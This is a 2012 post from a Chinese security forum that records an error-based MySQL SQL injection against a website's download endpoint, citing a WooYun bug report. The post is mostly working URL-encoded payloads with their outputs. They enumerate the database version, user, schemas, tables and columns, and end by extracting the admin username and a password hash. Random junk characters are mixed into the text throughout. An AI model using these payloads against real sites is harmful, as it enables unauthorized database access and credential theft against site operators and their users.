找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1947|回复: 0
打印 上一主题 下一主题

php+mysql高级爆错注入经测算有效

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:52:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
http://www.wooyun.org/bugs/wooyun-2010-01666* y2 k  B* }% R0 y# r
4 o. }: W" `' F' z
之前想找个测试 没想到这有 可以测试下做个记录而已
+ i/ w4 K" @: T) ?9 S  V7 h2 P, O9 N0 [. |, O; y+ P
http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003# S- E# f3 s& a  k% H9 K/ i1 x

) d' f2 ]. P; F6 O+ s, t1 z! J2 V8 O/data0/htdocs/leqi_new/app/myapp.php
/ H" K6 N2 o! ^; p9 B  j1 ?* ^. Z* L5 Y' p! p
或者7 W( |" F% N; U3 M
0 {, o  X% a$ m
/**********version()**********/ 5.1.49-log
& H9 ~; [& `  Z+ {- T8 d5 l0 fhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003/ g. a6 |! r+ r

+ x% M. \# \0 f5 `2 D/**********user()**********/  # v. }" R) n$ a* C
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0034 j9 J% w  T7 b. L
$ v- T& V6 B, w: ]2 r6 m; y3 y) ^5 x0 T
/**********database()**********/  leqi
9 l9 Z9 V0 U9 K5 ^) ^http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
8 G+ {9 _( `* a* n
1 @$ ?9 U! A# x* R; ^( f( r/**********limit依次递归爆库**********/- X" p4 g% z# O% E9 v5 _, ~' G
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003% s6 `1 M: ?! T1 V4 ?% v) J- a
information_schema
( d5 ]( t; K" {) O: Rhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003: t# M9 O+ L9 P1 P2 Q; y
leqi
3 y" h) M& X5 q2 A4 G. _& c, Yhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003; {" T5 U5 ^! I0 X
test
, ]& J0 x' x8 E- P- E* C2 V- R0 D" [! U# b
/**********limit依次递归爆表名**********/
. @% _0 D4 J0 n! ?http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
9 ]- t4 @8 y7 f) S( Y8 W; kusers+ \$ i+ n4 ]/ ~" A* M
( |4 V3 c( I) S% x7 s2 i, E
/**********limit依次递归爆字段名**********/
& R' u/ ^3 X8 Z6 C! o3 _8 bhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0036 M3 e! ^; M; x( M. W2 n
user_id,username,nickname,passwd,group_id7 V3 O# W- t/ d7 e5 L; c
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
# V, I7 w/ A3 b! |' l+ a6 z& Q/wapc/5000_0005_003* n- J5 K8 b6 _: \" e
11 21: J9 f/ A5 I* C  t
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%234 u2 y" Q1 {& H7 n! C8 f
/wapc/5000_0005_003. ]7 L8 H; t# I/ ?
11 341 351 361! i# e/ E" A6 W5 c8 D& X- Y
/**********爆数据**********/
! n9 d, \: {5 qhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
0 W$ N/ x( J% X. I* G! {& sadmin
% r7 b. {& a/ k$ {1 nhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
5 H5 ?* _- x; l( Z6a8b4574ca231eb8bd52764d4978ffcd
" N# U. d" e. J% ?% V# r6 v, G& L# S5 M  I' K- K0 q& T

0 W0 I( G6 S- L( f3 M3 B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表